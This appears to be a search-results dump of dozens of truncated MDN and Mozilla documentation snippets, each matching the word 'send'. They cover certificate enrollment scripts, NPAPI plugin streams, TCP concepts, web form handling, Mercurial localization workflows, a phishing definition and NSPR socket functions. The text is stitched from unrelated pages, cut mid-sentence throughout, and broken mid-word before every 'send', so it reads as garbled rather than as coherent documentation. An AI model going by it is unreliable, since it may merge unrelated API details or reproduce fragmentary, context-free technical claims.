led certificate copy in the local certificate database) the public keys, wrapped encryption private key, and text string from the script (possibly containing naming or enrollment info) are signed by the user signed blob is returned to the script script submits signed blob and any other necessary info to the ca/ra ca/ra verifies signature on signed blob ca/ra validates identity of user ca/ra
sends wrapped encryption private key to kra kra
sends escrow verification back to ca ca creates and signs certificates ca
sends certificates back to the user (importusercertificates) typical use the ca's enrollment page could look something like this: <!doctype html> <h2>request a cert</h2> <form name="reqform" method="post" action="http://your.ra.site.org"> <p><input type=hidden name=cert_requ...
... if (typeof(crypto.version) != "undefined") { crmfobject = crypto.generatecrmfrequest( "cn=" + form.name.value, for...
Frequently Asked Questions - Archive of obsolete content
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> actually the second binding isn't always required, but unless you understand namespaces, we'd strongly recommend you include it. for more information see this link. if source code is displayed without a gray area at the top, or if you just see gibberish, then the problem is server misconfiguration. when servers
send user agents an svg file they must tell the user agent that the file has the mime type "image/svg+xml", and if the svg file is stored gzipped they must tell the browser that too. mozilla is strict about this, and no, it's not a bug. failing to respect the mime types servers
send is incorrect and has been a source of security holes in other browsers. mozilla will not be changing this behaviour. for...
...o get in contact with us is to join the #svg channel on mozilla.org's irc server. this is where most of us hang out to discuss issues relating to the svg implementation. if you don't have an irc client then install chatzilla into mozilla/mozilla firefox (note it may already be built in). clicking on the link above should then take you straight there. if you'd prefer to contact us by email you can
send an email to our newsgroup mozilla.dev.tech.svg which is archived here. alternatively you can email any of us directly of course (see the preceeding question for our email addresses). original document information author(s): jonathan watt last updated date: november 6, 2006 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content ava...
NPAPI plugin developer guide - Archive of obsolete content
display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawing a plug-in instance handling memory
sending and receiving streams working with urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows regis...
...e drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in
sending the stream in random-access mode
sending the stream in file mode
sending a stream creating a stream pushing data into the stream deleting the stream example of
sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files to an ftp server
sending mail memory allocating and fre...
NPN_PostURL - Archive of obsolete content
verse. npn_geturl reads data from the url and either displays it in the target window or delivers it to the plug-in. npn_posturl writes data from a file or buffer to the url and either displays the server's response in the target window or delivers it to the plug-in. if the target parameter is null, the new stream is passed to the plug-in regardless of mime type. when you use npn_posturl to
send data to the server, you can handle the response in several different ways by specifying different target parameters. if target is null, the server response is sent back to the plug-in. you can get the data and save it in a file or use it in a program. if you specify _current, _self, or _top, the response data is written to the same plug-in window and the plug-in is unloaded. if you specify...
...type url prefix "file://" is optional. ms windows and os x if a file is posted with any protocol other than ftp, the file must be text with unix-style line breaks ('\n' separators only). to post data from a memory buffer, set the flag file to false, the buffer buf to the data to post, and len to the length of buffer. possible url types include http (similar to an html form submission), mail (
sending mail), news (posting a news article), and ftp (upload a file). plug-ins can use this function to post form data to cgi scripts using http or upload files to a remote server using ftp. you cannot use npn_posturl to specify headers (even a blank line) in a memory buffer. to do this, use npn_posturlnotify. for protocols in which the headers must be distinguished from the body, such as http, the b...
NPP_WriteReady - Archive of obsolete content
g parameters: instance pointer to the current plug-in instance. stream pointer to the current stream. returns returns the maximum number of bytes that an instance is prepared to accept from the stream. description the browser calls npp_writeready before each call to npp_write to determine whether a plug-in can receive data and how many bytes it can receive. this function allows the browser to
send only as much data to the instance as it can handle at one time, making resource use more efficient for both the browser and plug-in. the npp_write function may pass a larger buffer, but the plug-in is required to consume only the amount of data returned by npp_writeready. the browser can write a smaller amount of data if desired or necessary; for example, if only 8k of data is available in a netw...
...er. if the plug-in is allocating memory for the entire stream at once (an as_file stream), it can return a very large number. because it is not processing streaming data, the browser can pass as much data to the instance as necessary in a single npp_write. if the browser receives a value of zero, the data flow temporarily stops. the browser checks to see if the plug-in can receive data again by re
sending the data at regular intervals. see also npp_write, npstream, npp ...
TCP/IP Security - Archive of obsolete content
intermediate layers to the lowest layer, with each layer adding information. at each layer, the logical units are typically composed of a header and a payload. the payload consists of the information passed down from the previous layer, while the header contains layer-specific information such as addresses. at the application layer, the payload is the actual application data. ...
... transport layer. this layer provides connection-oriented or connectionless services for transporting application layer services between networks. ...
The Basics of Web Services - Archive of obsolete content
ry: a current hot topic on the web right now are web services. this short guide will allow you to learn more about web services. the basics web services are not really anything that new, and actually, if you've ever used an rss or atom feed to pull news from a website, you have an idea of how a web service might work. web services exchange data from a server to a client, using an xml format to
send requests, so both the server and the client can understand each other. (xml introduction). a better way to understand a web service is to compare it to a html form communication with a server side script (such as php or asp) to post and
send data. both web services and forms
send and receive requests. the only major difference is that a web service uses xml. examples of web services in action ...
... xml-rpc support was removed from firefox starting with firefox 3. introducing soap soap, a web service, is listed as a w3c standard, and is similar in ways to xml-rpc. soap also has backing from ibm, as well as microsoft. warning: soap support was removed from firefox starting with firefox 3. soap or xml-rpc? briefly, soap was intended to fill gaps in xml-rpc. an example is, it is easier to
send a multi-dimensional array with soap rather then with xml-rpc. soap also has more features then xml-rpc, but xml-rpc on its own, has its uses. ...
Debug - Archive of obsolete content
syntax you do not instantiate the debug object. its properties and methods are called off the debug class. there are different ways to debug internet explorer and windows 8.x store apps. in windows 8.x store apps, the write and writeln functions of the debug object display strings in the visual studio output window at run time. ...
...stack with a previously specified asynchronous operation. debug.mstraceasyncoperationcompleted indicates that an asynchronous operation has completed. debug.mstraceasyncoperationstarting initiates a trace for an asynchronous operation. debug.msupdateasynccallbackrelation updates the relationship status between a synchronous work item and the associated asynchronous operation. debug.write
sends strings to the script debugger. debug.writeln
sends strings to the script debugger, followed by a newline character. examples print the value of a variable this example uses the write function to display the value of the variable. var counter = 42; debug.write("the value of counter is " + counter); requirements supported in the following document modes: quirks, internet explorer 6 stand...
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
btn_comments = new ext.button({ text: "submit", fieldlabel: "", handler: formhandler }); // create the form panel, attach the inputs form_comments = new ext.form.formpanel({ labelalign: "right", width: 400, title: "comments", items: [ txt_name, txt_email, txt_message, btn_comments ], renderto: "form-comments" }); }); </script> ...
...ded to the dump file. database access for more robust data management, jaxer comes with the ability to manage data in either a sqlite database which is included in jaxer, or a mysql database, and is extensible to others. much like the file i/o namespace, database access in jaxer can be as simple or complicated as you want or need it to be. for debugging, jaxer will also
send database errors to the client if you want. upgrading the example application to include database access requires just a few lines of code added to the formprocessor method. listing 9 demonstrates these changes. listing 9 - jaxer database access <script runat="server"> function formprocessor( name, email, message ) { // perform the same validat...
RDF in Fifty Words or Less - Archive of obsolete content
formatting a graph into xml: <rdf:rdf xmlns:rdf="http://www.w3.org/tr/wd-rdf-syntax#" xmlns:sm="http://www.mozilla.org/smart-mail/schema#"> <rdf:description about="http://www.mozilla.org/smart-mail/get-mail.cgi?user=waterson&folder=inbox"> <sm:message id="4025293"> <sm:recipient> chris waterson "waterson@netscape.com" </sm:recipient> <sm:
sender> aunt helga "helga@netcenter.net" </sm:
sender> <sm:received-by>x-wing.mcom.com</sm:received-by> <sm:subject>great recipe for yam soup!</sm:subject> <sm:body> http://www.mozilla.org/smart-mail/get-body.cgi?id=4025293 </sm:body> </sm:message> <sm:message id="4025294"> <sm:recipient> chris waterson "waterson@ne...
... </sm:
sender> <sm:received-by>x-wing.mcom.com</sm:received-by> <sm:subject>great recipe for yam soup!</sm:subject> <sm:body> http://www.mozilla.org/smart-mail/get-body.cgi?id=4025293 </sm:body> </sm:message> <sm:message id="4025294"> <sm:recipient> chris waterson "waterson@netscape.com" </sm:recipient> <sm:
sender> sarah waterson "waterson.2@postbox.acs.ohio-state.edu" </sm:
sender> <sm:received-by>x-wing.mcom.com</sm:received-by> <sm:subject>we won our ultimate game</sm:subject> <sm:body> http://www.mozilla.org/smart-mail/get-body.cgi?id=4025294 </sm:body> </sm:message> </rdf:description> </rdf:rdf> upon receipt of the above monstrosi...
Introduction to game development for the Web - Game development
game, or look at using technologies like emscripten or asm.js to easily port your existing games. pointer lock api the pointer lock api lets you lock the mouse or other pointing device within your game's interface so that instead of absolute cursor positioning you receive coordinate deltas that give you more precise measurements of what the user is doing, and prevent the user from accidentally
sending their input somewhere else, thereby missing important action. svg (scalable vector graphics) lets you build vector graphics that scale smoothly regardless of the size or resolution of the user's display. typed arrays javascript typed arrays give you access to raw binary data from within javascript; this lets you manipulate gl textures, game data, or anything else, even if it's not in a nat...
... connect your app or site to a server to transmit data back and forth in real-time. perfect for multiplayer gaming action, chat services, and so forth. web workers workers give you the ability to spawn background threads running their own javascript code, to take advantage of modern, multi-core processors. xmlhttprequest and file api the combination of xmlhttprequest and the file api lets you
send and receive any kind of data you want (don't let the "xml" throw you!) from a web server. this is a great way to do anything from downloading new game levels and artwork to transmitting non-real-time game status information back and forth. ...
Packet - MDN Web Docs Glossary: Definitions of Web-related terms
ild up and then ultimately lead to the networking in failing. error detection and correction error detection and correction are codes that are used to detect and apply corrections to the errors that occur when data is transmitted to the receiver. there are two types of error corrections backward and forward error correction. backward error correction is when the receiver requests the
sender to retransmit the entire data unit. forward error correction is when the receiver uses the error-correcting code which automatically corrects the errors at the transmitter, the calculation is performed before the packet is sent. when received at the destination, the checksum is recalculated, and compared with the one in the packet. priority this field indicates which packet shou...
...destination, the checksum is recalculated, and compared with the one in the packet. priority this field indicates which packet should have higher priority over the others. the high priority queue is emptied more quickly than lower priority queues when the network is congested. addresses when routing network packets it requires two network addresses the source address of the
sending host, and the destination address of the receiving host. user data - payload payload is the data that is carried on behalf of an application. it is usually of variable length, up to a maximum that is set by the network protocol and sometimes the equipment on the route. references used : https://en.wikipedia.org/wiki/network_packet https://en.m.wikipedia.org/wiki/hop_(network...
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
or acknowledgment packet, and waits for an acknowledgement, or ack. when that ack is received, the congestion window is incremented until the cwnd is less than ssthresh. slow start also terminates when congestion is experienced. congestion control congestion itself is a state that happens within a network layer when the message traffic is too busy it slows the network response time. the server
sends data in tcp packets, the user's client then confirms delivery by returning acknoledgements, or acks. the connection has a limited capacity depending on hardware and network conditions. if the server
sends too many packets too quickly, they will be dropped. meaning, there will be no acknowledgement. the server registers this as missing acks. congestion control algorithms use this flow of sent pac...
...er's client then confirms delivery by returning acknoledgements, or acks. the connection has a limited capacity depending on hardware and network conditions. if the server
sends too many packets too quickly, they will be dropped. meaning, there will be no acknowledgement. the server registers this as missing acks. congestion control algorithms use this flow of sent packets and acks to determine a
send rate. see also populating the page: how browsers work http overview ...
Advanced form styling - Learn web development
his module, we will explore the different ui pseudo-classes available to us in modern browsers for styling forms in different states. ...
...s in modern browsers for styling forms in different states. ...
How to build custom form controls - Learn web development
he class of the body element, with the class of the body element being updated by the script that makes the control function, when it loads successfully to achieve this, we need two things: first, we need to add a regular <select> element before each instance of our custom control. there is a benefit to having this "extra" select even if our javascript works as hoped: we will use this select to
send data from our custom control along with the rest of our form data. we will discuss this in greater depth later. <body class="no-widget"> <form> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select"> <span class="value">cherry...
...select(select); } }); }); at that point, our control will change state according to our design, but its value doesn't get updated yet. we'll handle that next. live example check out the source code handling the control's value now that our control is working, we have to add code to update its value according to user input and make it possible to
send the value along with form data. the easiest way to do this is to use a native control under the hood. such a control will keep track of the value with all the built-in controls provided by the browser, and the value will be sent as usual when a form is submitted. there's no point in reinventing the wheel when we can have all this done for us. as seen previously, we already use a native select c...
How to structure a web form - Learn web development
ets you'll want to use to collect information from your users. ...
... a list apart: sensible forms: a form usability checklist previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation
sending form data advanced topics how to build custom form controls
sending forms through javascript property compatibility table for form widgets ...
Creating hyperlinks - Learn web development
ect answer. e-mail links it's possible to create links or buttons that, when clicked, open a new outgoing email message rather than linking to a resource or page. this is done using the <a> element and the mailto: url scheme. in its most basic and commonly used form, a mailto: link simply indicates the email address of the intended recipient. for example: <a href="mailto:nowhere@mozilla.org">
send email to nowhere</a> this results in a link that looks like this:
send email to nowhere. in fact, the email address is optional. if you omit it and your href is simply "mailto:"), a new outgoing email window will be opened by the user's email client with no destination address. this is often useful as "share" links that users can click to
send an email to an address of their choosing. specify...
...nd "body" (which is not a true header field, but allows you to specify a short content message for the new email). each field and its value is specified as a query term. here's an example that includes a cc, bcc, subject and body: <a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&bcc=name3@rapidtables.com&subject=the%20subject%20of%20the%20email&body=the%20body%20of%20the%20email">
send mail with cc, bcc, subject and body </a> note: the values of each field must be url-encoded, that is with non-printing characters (invisible characters like tabs, carriage returns, and page breaks) and spaces percent-escaped. also note the use of the question mark (?) to separate the main url from the field values, and ampersands (&) to separate each field in the mailto: url. this is standard u...
JavaScript object basics - Learn web development
ect's methods. an object like this is referred to as an object literal — we've literally written out the object contents as we've come to create it. this is in contrast to objects instantiated from classes, which we'll look at later on. it is very common to create an object using an object literal when you want to transfer a series of structured, related data items in some manner, for example
sending a request to the server to be put into a database.
sending a single object is much more efficient than
sending several items individually, and it is easier to work with than an array, when you want to identify individual items by name. dot notation above, you accessed the object's properties and methods using dot notation. the object name (person) acts as the namespace — it must be entered...
...t instance using the constructor for each notification you want to fire. try entering the following into your javascript console: const mynotification = new notification('hello!'); again, we'll look at constructors in a later article. note: it is useful to think about the way objects communicate as message passing — when an object needs another object to perform some kind of action often it
sends a message to another object via one of its methods, and waits for a response, which we know as a return value. test your skills! you've reached the end of this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: object basics. summary congratulations, you've...
Properly configuring server MIME types - Learn web development
why browsers should not guess mime types apart from violating the http specification, it is a bad strategy for browsers to guess mime types for the following reasons: loss of control if the browser ignores the reported mime type, web administrators and authors no longer have control over how their content is to be processed. for example, a web site oriented for web developers might wish to
send certain example html documents as either text/html or text/plain in order to have the documents either processed and displayed as html or as source code. if the browser guesses the mime type, this option is no longer available to the author. security some content types, such as executable programs, are inherently unsafe. for this reason these mime types are usually restricted in terms of what a...
...stry which contains all registered mime types. if the media type is displayed using a plug-in in netscape gecko, install the plug-in and then look in the help->about plug-ins menu to see what mime types are associated with the media type. search for the file extension in filext or file extensions reference to see what mime types are associated with that extension. how to set up your server to
send the correct mime types the fundamental idea is to configure your server to
send the correct content-type http header for each document. if you're using the apache web server, simply copy this sample .htaccess file to the directory that contains the files that you want to
send with the correct mime types. if you have an entire subdirectory of files, just place the file in the parent directory;...
React interactivity: Events and state - Learn web development
m <form /> to <app />. we can't pass data from child to parent in the same way as we pass data from parent to child using standard props. instead, we can write a function in <app /> that will expect some data from our form as an input, then pass that function to <form /> as a prop. this function-as-a-prop is called a callback prop. once we have our callback prop, we can call it inside <form /> to
send the right data to <app />. handling form submission via callbacks inside the top of our app() component function, create a function named addtask() which has a single parameter of name: function addtask(name) { alert(name); } next, we'll pass addtask() into <form /> as a prop. the prop can have whatever name you want, but pick a name you’ll understand later. something like addtask works, ...
...as a matter of good practice, you should clear the input after your form submits, so we'll call setname() again with an empty string to do so: function handlesubmit(e) { e.preventdefault(); props.addtask(name); setname(""); } at last, you can type something into the input field in your browser an...
Componentizing our Svelte app - Learn web development
else} <li>nothing to do here!</li> {/each} </ul> the list of todos is displayed on the page, and the checkboxes should work (try checking/unchecking a couple, and then observing that the filters still work as expected), but our "x out of y items completed" status heading will no longer update accordingly. that's because our todo component is receiving the todo via the prop, but it's not
sending any information back to its parent. we'll fix this later on. sharing data between components: props-down, events-up pattern the bind directive is pretty straightforward and allows you to share data between a parent and child component with minimal fuss. however, when your application grows larger and more complex it can easily get difficult to keep track of all your bound values. a different...
...so: <todo {todo} on:remove={e => removetodo(e.detail)} /> our handler receives the e parameter (the event object), which as described before holds the todo being deleted in the detail property. at this point, if you try out your app again, you should see that the delete functionality now works again! so our custom event has worked as we hoped. in addition, the remove event listener is
sending the daa change back up to the parent, so our "x out of y items completed" status heading will now update appropriately when todos are deleted. now we'll take care of the update event, so that our parent component can get notified of any modified todo. updating todos we still have to implement functionality to allow us to edit existing todos. we'll have to include an editing mode in the t...
Creating Sandboxed HTTP Connections
as done to make the code easier to read. it would be better to have the entire implementation inside a class and storing the channel as a member: function myclass() { this.mchannel = null; // ... var listener = new this.streamlistener(callbackfunc); // ... } myclass.prototype.streamlistener = function (acallbackfunc) { return ({ mdata: "", // ... }) } handling cookies when
sending a request, cookies that apply to the url are sent with the http request. the http response can also contain cookies, which the browser processes. as of mozilla 1.8.1 (firefox 2), it is now possible to intercept those two cases. for example, this means that if the user was logged into an webmail account, another account on the same domain could be checked without changing the user's cookies. ...
... with the http request. the http response can also contain cookies, which the browser processes. as of mozilla 1.8.1 (firefox 2), it is now possible to intercept those two cases. for example, this means that if the user was logged into an webmail account, another account on the same domain could be checked without changing the user's cookies. the observer service (nsiobserverservice) is used to
send general notifications, including the two cookie ones. the addobserver method is used to add an observer for a certain topic and takes in three agruments: an object than implements nsiobserver the topic to listen for. for cookies, the two topics are: http-on-modify-request - happens after the cookie data has been loaded into the request, but before the request is sent. http-o...
Message manager
fox, so the same code will work on both variants. ...
...k on both variants. ...
Tracking Protection
or example, if your site includes a callback that runs when content from a tracking site is loaded, then the callback will not execute. ...
... note: depending on a third party in this way is not a good practice anyway, because ...
Browser API
uted() indicates whether the browser <iframe> is currently muted. event-related methods in order to manage the browser <iframe>'s content, many new events were added (see below). the following methods are used to deal with those events: the <iframe> gains support for the methods of the eventtarget interface addeventlistener(), removeeventlistener(), and dispatchevent(). htmliframeelement.
sendmouseevent()
sends a mouseevent to the <iframe>'s content. utility methods last, there are some utility methods, useful for apps that host a browser <iframe>. htmliframeelement.getstructureddata() retrieves any structured microdata (and hcard and hcalendar microformat data) contained in the html loaded in the browser <iframe> and returns it as json. browser api methods removed in firefox...
...he manifest of an app loaded in the browser <iframe> and returns it as json. htmliframeelement.getscreenshot() takes a screenshot of the browser <iframe>'s content. this is particularly useful to get thumbnails of tabs in a tabbed browser app. htmliframeelement.purgehistory() clears all the resources (cookies, localstorage, cache, etc.) associated with the browser <iframe>. htmliframeelement.
sendtouchevent()
sends a touchevent to the <iframe>'s content. note that this method is available for touch enabled devices only. htmliframeelement.removenextpaintlistener() removes a handler previously set with addnextpaintlistener(). htmliframeelement.zoom() changes the zoom factor of the browser <iframe>'s content. this is particularly useful for zooming in/out on non-touch-enabled devices. ...
HTML parser threading
the nshtml5streamparser instance alive, so they have to addref it. however, if they released on the parser thread, nshtml5streamparser could be deleted from the parser thread, which would lead to all sorts of badness, because nshtml5streamparser has fields that hold objects that aren't safe to release except from the main thread. the runnables use nshtml5refptr<nshtml5streamparser>. nshtml5refptr
sends runnables back to the main thread to call release on nshtml5streamparser on the main thread. normal (non-speculative) parsing initially, dodataavailable performs character encoding sniffing on the data if an encoding wasn't declared on the enclosing protocol (http) level. once a unicode decoder has been set up, dodataavailable passes the byte data to the decoder whose output is accumulated into ...
...() is about to stop working. that is, when the parser thread is parsing speculatively, speculative loads continue to be flushed to the main thread even though tree ops accumulate into the speculations. on the main thread, the speculative tokenizer/tree builder pair used for parsing document.write() input that didn't get parsed by the main document.write() tokenizer/tree builder synchronously also
sends speculative loads to the tree op executor. the executor acts on the speculative load queue when the runnable dispatched by nshtml5streamparser::parseavailabledata() fires and right before executing tree ops whenever tree ops are executed. when the executor acts on speculative loads, it starts speculative http fetches for images (including video poster frames), style sheets and scripts. additiona...
Task.jsm
ately start the task, rather it returns an "async function" that starts the task when the function is called; it binds the task to the async function's this object and arguments; it requires the task to be a function. ...
...ject and arguments; it requires the task to be a function. async() simplifies the common pattern of implementing a method via a task, like this simple object with a greet method that has a name parameter and spawns a task to
send a greeting and return its reply: let greeter = { message: "hello, name!", greet: function(name) { return task.spawn((function* () { return yield
sendgreeting(this.message.replace(/name/, name)); }).bind(this); }) }; with async(), the method can be declared succinctly: let greeter = { message: "hello, name!", greet: task.async(function* (name) { return yield
sendgreeting(this.message.replace(/name/, name)); }) }; while maintaining identical semantics: greeter.greet("mitchell").then((reply) => { ... }); // behaves the same s...
Webapps.jsm
t, aid, alocalid) _writemanifestfile: function(aid, aispackage, ajsonmanifest) _nextlocalid: function() _appidformanifesturl: function(auri) makeappid: function() _saveapps: function() _readmanifests: function(adata) _ensuresufficientstorage: function(anewapp) _checkdownloadsize: function(afreebytes, anewapp) _getrequestchannel: function(afullpackagepath, aislocalfileinstall, aoldapp,) _
senddownloadprogressevent: function(anewapp, aprogress) _getpackage: function(arequestchannel, aid, aoldapp, anewapp) _computefilehash: function(afilepath) _
sendappliedevent: function(aapp) _openandreadpackage: function(azipfile, aoldapp, anewapp, aislocalfileinstall,) _openpackage: function(azipfile, aapp, aislocalfileinstall) _opensignedpackage: function(ainstallorigin, amanifesturl, azipfile,...
...ocalid: function(alocalid) getapplocalidbymanifesturl: function(amanifesturl) getcoreappsbasepath: function() getwebappsbasepath: function() _islaunchable: function(aapp) _notifycategoryandobservers: function(subject, topic, data, msg) registerbrowserelementparentforapp: function(amsg, amn) receiveappmessage: function(appid, message) _clearprivatedata: function(appid, browseronly, msg) _
sendprogressevent: function() updatestatechanged: function appobs_update(aupdate, astate) applicationcacheavailable: function appobs_cacheavail(aapplicationcache) ...
Bootstrapping a new locale
and pushing work to an experimental repository. we use a web service called bit bucket to start the learning process. to begin, contact the l10n-drivers to let them know that you are interested in starting a localization. the l10n-drivers will help set up an experimental hg repository in bit bucket. you will need to create an account so you can access the service. once you have that account,
send the l10n-drivers the details to be added as a "writer". with that level of authority, you will be able to push and pull and manage the repository remotely. it will be just like working on hg with mozilla, yet you will use the bit bucket platform to start. after your new bit bucket repository is created by the l10n-drivers, please visit the url for your repo. you can do this by entering the fo...
...property files in your ~/ab-cd/browser/ directory, then you should $ cd ~/ab-cd/ $ hg status $ hg commit -m "translated browser/" $ hg push http://bitbucket.org/mozillal10n/ab-cd/ note that due to the distributed nature of hg, hg commit saves the changes locally, i.e. in the hg repository on your computer. you can see the history of commits with hg log. after doing hg commit, you still need to
send the changes to bitbucket. this is why you need to do hg push, which
sends the already made commits to the remote repository (http://bitbucket.org/mozillal10n/ab-cd/ in the example above). after you have committed and pushed your initial translation, email the l10n-drivers team to let us know it's ready. set up for building the next step is to create a .mozconfig file with the compile options f...
Localizing with Mercurial
the localization team owner needs to file a bug requesting an hg account. this bug will request level 1 l10n priviledges. you need to follow the instructions regarding the contributor form. write access to the hg repositories requires a ''voucher'', which, for the owner, will be done based on the review by mozilla. for peers of a localization, the owner can vouch (once she or he is registered).
sending changes to mozilla now that you have hg account privileges, you can
send your work to mozilla all by yourself. here are the steps to
send your l10n work using mercurial: since your l10n work takes place in your own local repository, you should ensure that there are no changes made to the remote repository before committing your work. to do this, update your locale, as per the section above...
... own local repository, you should ensure that there are no changes made to the remote repository before committing your work. to do this, update your locale, as per the section above. after finishing a change or set of changes and checking you have updated to the latest, you should commit by entering this command: hg commit -m "your message identifying the change (bug 555)" committing won’t
send your changes to mozilla’s repository, but prepares them for it. the next step will
send your changes to your remote repo via push. to push to mozilla-hosted repositories, you have to have committer access, and you must edit the file (your-local-hg-root aka the directory you pulled your locale into)/.hg/hgrc (note, this is not your ~/.hgrc) to add these lines (replacing ab-cd with your locale...
Release phase
s the same as the default pull url (i.e., ssh://hg.mozilla.org/releases/l10n-central/x-testing). you should now be able to push to the remote repository! commit, outgoing, and push you should try to commit your work regularly as you progress through the localization files. keep in mind that the hg commit command will save your changes locally (in the local clone). with the hg push command you can
send the changesets to the remote server. here's how that's done: run this command to see recent commits in your local clone: $ hg log -l 3 you should a list of the most recent commits, similar to this one: changeset: 0:7c543e8f3a6a tag: tip user: your name <email@example.com> date: mon nov 23 18:08:25 2009 +0100 summary: added search bar strings now run the hg outg...
... tip user: your name <email@example.com> date: mon nov 23 18:08:25 2009 +0100 summary: added search bar strings make sure this output is accurate before continuing. once you've made sure the outgoing output is accurate, push this changeset to hg.mozilla.org by running the hg push command. mercurial will connect to the remote repository, authenticate through ssh and
send the changesets. the output should look something like this: pushing to ssh://hg.mozilla.org/releases/l10n-central/x-testing searching for changes adding changesets adding manifests adding file changes added 1 changesets with 2 changes to 2 files congratulations! your changeset has been successfully pushed to hg.mozilla.org! you can now visit http://hg.mozilla.org/releases/l10n-central/x-testing ...
Creating localizable web applications
ersonas for firefox - free</span>");?><span class="arrow"></span></a> snippet 2. good: <a href="https://addons.mozilla.org/firefox/downloads/latest/10900" class="get-personas" id="download"> <span><?= _("get personas for firefox - free");?></span><span class="arrow"></span> </a> snippet 3. ...
...ox/downloads/latest/10900" class="get-personas" id="download"> <span><?= _("get personas for firefox - free");?></span><span class="arrow"></span> </a> snippet 3. bad: <p><?= _("<strong class=\"legal\">design acceptance:</strong> if a design is accepted, we will
send the following message:");?></p> <p><?= _("<strong class=\"legal\">design rejection:</strong> if a design is rejected, we will
send the following message:");?></p> snippet 4. good: <p><strong class="legal"><?= _("design acceptance:");?></strong> <?= _("if a design is accepted, we will
send the following message:");?></p> <p><strong class="legal"><?= _("design rejection:");?></strong> <?= _("if a design is rejected, we will
send the following message:");?></p> snippet 5. bad: <p id="breadcrumbs"> <?printf(_("<a href=\...
Mozilla Port Blocking
mozilla responded by modifying how protocols can access ports. ...
...mozilla responded by modifying how protocols can access ports. ...
Phishing: a short definition
in 2014, the msci estimated an annual global impact of phishing, and various forms of identity theft, to be as high as $5 billion usd. the impact has not improved much since. phishing is an attempt to collect sensitive information, such as usernames, passwords, and financial details by disguising as a trustworthy entity online. a relatively simple, yet effective, phishing scheme is
sending an email with a fake invoice of a person’s favorite shopping site. this email will usually contain a link pretending to lead to the original service, but in reality, taking the victim to an attacker-controlled website. the login portal might resemble the trusted website's login page very closely, and convince users to enter their credentials, letting others hijack their account. past and current...
...uests. public key cryptography many services will soon support w3c web authentication, a powerful technology to evade phishing, based on public key cryptography. web authentication supports millions of readily avilable fido u2f usb security keys, and will support the more advanced fido 2.0 keys, once made available. verification via text message if a service supports verification, via sms, it
sends a text message with a one-time pin to the user’s phone number. the user then enter this pin after the web service verifies the username and password. this was chosen as an early second factor 'protocol' as text messages are widely supported, however, even nist no longer recommends sms verification. the ss7 telephony system is vulnerable, making eavesdropping, or rerouting text messages quite ...
AsyncTestUtils extended framework
ct that in the future.) if your set definition was {count: 3, age: {days: 7}, age_incr: {days: -1}}, then you would generate messages from 7, 6, and 5 days ago. subject: (automatically generated random subject) force all the messages to have the same subject you pass in. for example, {count: 1, subject: "my suitcase"} would result in a single message with the subject "my suitcase" with a random
sender and random recipient. to: (automatically generated single recipient) a list of recipients, where each recipient is a list whose first element is a (display) name and second element is an email address. for example, {to: [["john doe", "john_doe@example.com"], ["john smith", "smitty@example.com"]]} would specify two recipients. cc: (none) a list of recipients like 'to', but in this case the d...
...e $label1 and $label2, but that is not what we show to the user. removetag(atagkey) removes the given tag from all the messages in the set. see the addtag notes. setjunk(abejunk) sets the junk score for the messages in the set as junk (true) / not junk (false). this does not involves the bayesian classifier and does not do anything like moving the message to the junk folder. it does, however,
send a junkstatuschanged notification via the nsimsgfoldernotificationservice's itemevent mechanism. set manipulation union(aotherset) take the union of this set and the provided other set and return the (new, not modified) result. you should stop using both the message set that you called this on and the other set that you passed in unless you are very careful. namely, if you use async_move_mes...
Nonblocking IO In NSPR
ng/nonblocking io mode of a new socket is committed the first time a potentially-blocking io function is invoked on the socket. once the io mode of a socket is committed, it cannot be changed. the potentially-blocking io functions include <tt>pr_connect()</tt>, <tt>pr_accept()</tt>, <tt>pr_acceptread()</tt>, <tt>pr_read()</tt>, <tt>pr_write()</tt>, <tt>pr_writev()</tt>, <tt>pr_recv()</tt>, <tt>pr_
send()</tt>, <tt>pr_recvfrom()</tt>, <tt>pr_
sendto()</tt>, and <tt>pr_transmitfile(),</tt> and do not include <tt>pr_bind()</tt> and <tt>pr_listen()</tt>. in blocking mode, any of these potentially-blocking functions requires the use of the nt i/o completion port. so at that point we must determine whether to associate the socket with the i/o completion or not, and that decision cannot be changed late...
... uses nonblocking io on nt early in the development cycle. these constraints are enforced in the debug nspr library by assertions. differences from blocking io in nonblocking mode, the timeout argument for the io functions is ignored. <tt>pr_acceptread()</tt> and <tt>pr_transmitfile()</tt> only work on blocking sockets. they do not make sense in nonblocking mode. <tt>pr_write()</tt>, <tt>pr_
send()</tt>, <tt>pr_writev()</tt> in blocking mode block until the entire buffer is sent. in nonblocking mode, they cannot block, so they may return with just
sending part of the buffer. pr_poll() or pr_select()? <tt>pr_select()</tt> is deprecated, now declared in <tt>private/pprio.h</tt>. use <tt>pr_poll()</tt> instead. the current implementation of <tt>pr_select()</tt> simply calls <tt>pr_poll()<...
I/O Functions
king socket functions in nspr take a timeout parameter. two new functions, pr_transmitfile and pr_acceptread, can exploit the new system calls of some operating systems for higher performance. ...
...in nspr take a timeout parameter. two new functions, pr_transmitfile and pr_acceptread, can exploit the new system calls of some operating systems for higher performance. ...
PRSocketOptionData
s for file descriptors that represent sockets. syntax #include <prio.h> typedef struct prsocketoptiondata { prsockoption option; union { pruintn ip_ttl; pruintn mcast_ttl; pruintn tos; prbool non_blocking; prbool reuse_addr; prbool keep_alive; prbool mcast_loopback; prbool no_delay; prsize max_segment; prsize recv_buffer_size; prsize
